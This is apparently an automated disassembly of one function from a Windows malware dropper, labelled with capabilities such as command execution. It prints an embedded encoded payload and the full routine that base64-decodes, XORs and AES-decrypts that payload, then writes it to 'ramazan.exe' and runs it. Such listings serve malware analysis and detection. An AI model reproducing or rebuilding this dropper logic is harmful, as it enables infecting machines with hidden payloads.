Function at 0x1400032aa
Capabilities:
Execute command
Set registry value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0xff]
mov qword [rbp + 0x1d8], rax
nop
nop
lea rdx, [rbp + 0xff]
lea rax, [rbp + 0xd0]
mov r8, rdx
lea rdx, str.LVLGVs8tiFjElR4Jp4tdWq41Fkarqk95YJZKsMC6tTSX6nhmzMwKySweyiHwg5so7LfjCacn7RFF3SW0cG46ZdlKy5gGsNypRu50OIOvaCZrPlbK_YF72I13U6hFpNtDwwLzLYyQD4CIkSg6d26PkNhjtft7FXHjs_hmP91vpSF5jyMCbDlItdnKlHqSXFfUIp9f6hlHfQ6mNMen4v5AZsbQvw6IWZ1sDnFW91I1DMBtOnthi9w2hA0NXLP7yECbp0Kl3G_c6aF4YMXyLTEsth6Blkmk2ZfsqQQ4vNdXLBJJlRI9N_IlK6u2d6Wfb6G7d00zJq0kig_d2IxSA76fJKicCa1qAdpXdUyYtncVquQs__qc3tXqMizW5mvYzC42vPfewX9rxcbBMBoXwcHTWxBjTJAzQKeKZkzo9aTKoXOWnZ8UnjasOJOSrQS579A4Ek9ugJubPXER_uYiiadiKEYeheR7SQoPfVKX6nhmzMwKySweyiHwg5sodF1jPN7E4lcIbcOUo_R_Ctsh07zvpAm05mc3xLjOY16esgIXa2MulXtgMXn67bMk69QlUNAmYpVAtVzhppy2DolQKwEAXgCWE7oTP83T54GalmA418_OPapfr6KoKRZTsiCOHabZscp_6PqbFbW67e9HVpCZckcgA04zXUKS0BEi9XqEuvQf86yJkf5OpaPqPCqIKDfITaSm7O7HNgVxfoWC85w_bzN3nhUzJ9jilX8Mug3AzYRQD05gByb9ahvdmbjgjaHBoUkXS71JzIH87GNXgKN0ZYmoeFHpFy8p0QqhgXgFzIakh5tUsQ2ykoVK8_U0K8RjEK35AbpKK8QRAqrr0m5jhgQhWxFGm1XDGe3oFjv8KCQpgEnQsWmy3sTGR4huZhsZ74fAAWDolQKwEAXgCWE7oTP83T6ob2dSD_8Zg6swXApS3rrs4Vll5MNfCRaIym4p309yZAIg3yhcmXEBTjWlRv53wwvEwxp2LcrohPXfrxPyATyFUKhh_7zqUDGhYPJa_i8YXwcHTWxBjTJAzQKeKZkzqX6nhmzMwKySweyiHwg5sojeJqfMTeEMEBMIz6ouJMoXwcHTWxBjTJAzQKeKZkzqX6nhmzMwKySweyiHwg5sojeJqfMTeEMEBMIz6ouJMoXwcHTWxBjTJAzQKeKZkzqX6nhmzMwKySweyiHwg5sojeJqfMTeEMEBMIz6ouJMoXwcHTWxBjTJAzQKeKZkzqX6nhmzMwKySweyiHwg5sojeJqfMTeEMEBMIz6ouJMoXwcHTWxBjTJAzQKeKZkzqX6nhmzMwKySweyiHwg5sojeJqfMTeEMEBMIz6ouJMhe7OPUBDJGwf54BgfC42F9ylAtAQTpVjfXtX7QceQE_PvJmFHEs2J7rT_iLsLmo6Jlx3KWw2uSxgdeqovVL8qyamOdXEdngMsi2vB3VVM_azpIoPtQ7rlpCUsryJ33D7EMidr18j9FnwnU_F955JpyEU9RS8P75HKEEaymEFJZZl7UgOS4kpVvKTColsvJbKfuJdp5LxnlmfKw1XTfLWeWzK5eA3iir0OCmSoibonKmdU8JTfeY94pIT_S7cMwj_nRoOIaMSK_BIYf1DYesGItAEUhLTigalHTgv5d6koTk8HLQYidyg71I6bsS28nMdqryXvKwh0NFUoA6UL1bVgoBt974Ljd847RoMHm7SMncsXCX9VEN0Jsq4gEZz9Nqj3pqz3tVi63Q27thx3wi_HE7vxyb1NzkiVmdCc01Q7Io9nENru7SkRRkgDhIU5jUow4J5fz1Hm4kWbW2iYTPxTQWrm58YRVbkMVClwXLeSzqZLGIrhN1_bOZ898k19NNmdOxSDN7pEjAutnEnCtHCeLxw7Z3g4pT_aHOIiRHBuqB6Xs0kxBHR3J8PoYoNegWMW01dvyk7DL3o596f7Tsa4rBqjc6BcgtldCVCgPLSdAPlsaah_g8uPKvsJe6bvBBkXXbfZIMBg0jGLQxh3gJfyiEAGLbmRUmaaS7wVZrEZ8KwwDv94ks6H_wGu634UAahB5o3LXMQKvFMHEKhJ6pypVcnvwiHrAmyCzzBqH83MuNCbKW_HvW_8YTKVxFRwLyr1T0jMD1byEPHuYv8uVJ94h1arinYcvR4ofmb8FupjHPyecXZVk5_R9MoKfYbpw08gPofwcAUKLGTiCZmQtzNx3yb0DCDpmzHcqLZAIC8jB1YyVf_R7n_2agtwcX8FGMIY0n34Gh5RlrbbERVKRilcN2BuDz6uGnoLCJTTH01pHNNSPzJfs75SBeLpREXtJGff9yDSYkzZEnBsIhVZJQ28W66T8jSFRe3g8T5s7_5hy3bKRa2oHaRjKAV2PnXsfRm9Y9rKjr46ifPXIhOuGlIu9iTCXWUZKSwlDqahJc4C33JVBACklCx4BM3XZRVuJbf0PrY__D0eifTy06R5GwzPvx6nBRfuSe92ls7Z7jH0zGfUyTiq_a9ldyW6COlg9QUlHLWttvRzMCQBzF9tTOjM_lmZG4QmgP7imdlGB2gsPX7DgjGF_44sYVJLLycGOoCQX1bBNpbFOxX8tD5QaThjYpVuPmhlQ5gR8GLbXfVXerTyo4ihGsGIO2WlSgcgNqo_SRnsc4xhJZeJhtXyL08yKGFMzkuJAoT55sCwsq1HqxkKACnqKiUxp24DvBbf2YH6MPF8e_gmcQtM67kVYRXYma0CSRD0aBsPQqTvK4jhwURplh5uW3UIqIZqnpoLjllMhLQH0rE6V4HnSI_rCum8fNIwDh2gPBES5xusgzX9xx9C7hdNbpO7KyRPVeU2TVV3nBvz8OixY2LVfkRSnZTlSy6Cmuvptb0Hnmc3ExOKkxXtmUgbiSlwRJuNNoH6uhQPkmcesgWwBtiWvuF5QUNAz5TKG1S4OygjIgcbsSRMZX0oNL1Sxpu94TXYUiJ4UfMbyx020p8uucWQ6t9ESQZKhupxRIIzdURZUXeUQDoPt8EznAnwJhsw2wj9MhQAHa7c7ITqk8UVWuO7fmmC3ttYA2ffRr5CRBPqsrIo8UvJJHwsT1MxgknAU2E2ji_KhQKJGYgziDyIh9_Fzdet1gGariRQKw1dhZUF0uWX19h5ZKhuNqhCrx8ISh9mR8IF2l8Kyq64gYlbqBkKRpPVIsBs1H5phMgYi0_RYddfLDfnHSjQr1gAVS6qunrP5ulrASeO6QQnkwaRy7rNtlIxRd9iBbcr5bdlcpuVjxTSsvmZY6e35X43SktsU5sPD9dg2jUIghv51D0wcylxfV1PrGY8vIkqoSFQmQL2tV2yUfSkOi2KXdn4TQxabQHuRT2lnTcz2Vd3Xckk9_ZXOaMkZEU_NQ7OWn43wHWEVka95_wN5RJ7lkPOYybhSoEz9lfBDLnBERrkL78guJUUDI6CKhZYJQb6Uy3u4yiFXvVehRhWkokC_m2GhFoiTXvMa4ZahLfxMiwa75hr284G2QqOxYz3b34N6m8cgFAmkFK8acWzEunNZ1dvbNnZ6ScoGyaGARpbuCRAfNWxC1gBv92k0wgBGuvsDdri9_BMCKKrDaTsqDjh1yX_MgmOVBWhopwWRVKrTj1Yf3QbzkucYjw8gAjJl3mnPe8omixe6HICAEcw_03tw7oJ_DYekldLfpIA2ErKCEeOsY2KupL5RULaVlDC3Gxul_Z7Sk0ovgxuGIduBYw_Oaby3k9jSbcoq24N9BitLmVQWDym2xczFWyCaAjFSkPCrNzAPG7BodrWPmy72vue_O7XsS4nvYpPTqXuNhShi6nxGmtvNZHuXxbft2sh3QEO5tBweZhhSeBBbPVirt0KDnPFdC67Pu5nb0x77EZRkFXO5OsZ7lVbqdsh4_N6ozXxT3il7S55EBTqe1JZNuHER9bSG5J8g0E67svKS9jKQcxqet18Cy56CHwma37XcJK010wWUsGGJOZM9DvageNzsIYk7J0UQqDZqa94fCJteGGaNbG_N5HIfjm1eBScCTFKGsEVyVT2RfOtTEwN4HW9F5OSt6ocYHZxdY
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xff]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0xd0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::basic_string_view_char__std.char_traits_char______const
lea rcx, [rbp + 0xb0]
mov rax, qword [rbp + 0x100]
mov rdx, qword [rbp + 0x108]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, [rbp - 0x60]
mov rdx, rax
call method.base64.from_base64_abi:cxx11__std::basic_string_view_char__std::char_traits_char____
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x110]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x110]
mov rcx, rax
call sym.encryptDecryptXOR_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
lea rdx, [rbp + 0x90]
mov rcx, rax
call sym.stringToVector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov qword [rbp + 0x1f0], rax
lea rax, str.File_size:
mov rdx, rax
mov rax, qword [0x1402dd6b0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x1f0]
mov rdx, rax
call method.std::ostream.operator___unsigned_long_long_
mov rcx, rax
lea rax, str._bytes
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov qword [rbp + 0x1e8], 0x10
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov edx, 0
div qword [rbp + 0x1e8]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.14009e470
lea rax, [rbp + 0x48]
mov edx, 0
mov rcx, rax
call method.AES.AES_AESKeyLength_
mov byte [rbp + 0x130], 0
mov byte [rbp + 0x131], 1
mov byte [rbp + 0x132], 2
mov byte [rbp + 0x133], 3
mov byte [rbp + 0x134], 4
mov byte [rbp + 0x135], 5
mov byte [rbp + 0x136], 6
mov byte [rbp + 0x137], 7
mov byte [rbp + 0x138], 8
mov byte [rbp + 0x139], 9
mov byte [rbp + 0x13a], 0xa
mov byte [rbp + 0x13b], 0xb
mov byte [rbp + 0x13c], 0xc
mov byte [rbp + 0x13d], 0xd
mov byte [rbp + 0x13e], 0xe
mov byte [rbp + 0x13f], 0xf
lea rax, [rbp + 0x130]
mov rsi, rax
mov edi, 0x10
lea rax, [rbp + 0x146]
mov qword [rbp + 0x1d0], rax
nop
nop
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rdi
lea rcx, [rbp + 0x146]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x30]
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
lea rax, [rbp + 0x146]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
mov qword [rbp + 0x1f8], 0
jmp 0x140003705
lea rax, [rbp + 0x147]
mov qword [rbp + 0x1c8], rax
nop
nop
mov rax, qword [rbp + 0x1f8]
add rax, 1
imul rax, qword [rbp + 0x1e8]
mov rbx, rax
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov qword [rbp + 0x148], rax
lea rax, [rbp + 0x148]
mov rdx, rbx
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_____.operator_long_long__const
mov rbx, rax
mov rax, qword [rbp + 0x1f8]
imul rax, qword [rbp + 0x1e8]
mov rsi, rax
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x150]
mov rdx, rsi
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_____.operator_long_long__const
mov rdx, rax
lea rcx, [rbp + 0x147]
lea rax, [rbp - 0x10]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___::vector___gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std.allocator_unsigned_char_______void____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_cha
lea rax, [rbp + 0x147]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
lea rax, [rbp + 0x15f]
mov qword [rbp + 0x1c0], rax
nop
nop
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov rbx, rax
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov rdx, rax
lea rcx, [rbp + 0x15f]
lea rax, [rbp - 0x30]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___::vector___gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std.allocator_unsigned_char_______void____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_cha
lea rax, [rbp + 0x15f]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x160]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x180]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp - 0x50]
lea r8, [rbp + 0x160]
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x48]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.AES.DecryptECB_std::vector_unsigned_char__std::allocator_unsigned_char_____std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp + 0x180]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x160]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov rsi, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov rbx, rax
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov qword [rbp + 0x1a8], rax
lea rdx, [rbp + 0x1a8]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char_const__std::vector_unsigned_char__std::allocator_unsigned_char_____.__normal_iterator_unsigned_char__void____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_
mov rdx, qword [rbp + 0x1a0]
lea rax, [rbp + 0x50]
mov r9, rsi
mov r8, rbx
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char______std::vector_unsigned_char__std::allocator_unsigned_char___::insert___gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
add qword [rbp + 0x1f8], 1
mov rax, qword [rbp + 0x1f8]
cmp rax, qword [rbp + 0x1e0]
jb 0x140003509
lea rax, [rbp + 0x1b7]
mov qword [rbp + 0x1b8], rax
nop
nop
lea rdx, [rbp + 0x1b7]
lea rax, [rbp + 0x10]
mov r8, rdx
lea rdx, str.ramazan.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b7]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rdx, [rbp + 0x10]
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.writeVectorToBinaryFile_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, str.ramazan.exe
mov rcx, rax
call sym.system
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, 0
jmp 0x140003940
add rsp, 0x288
pop rbx
pop rsi
pop rdi
pop rbp
ret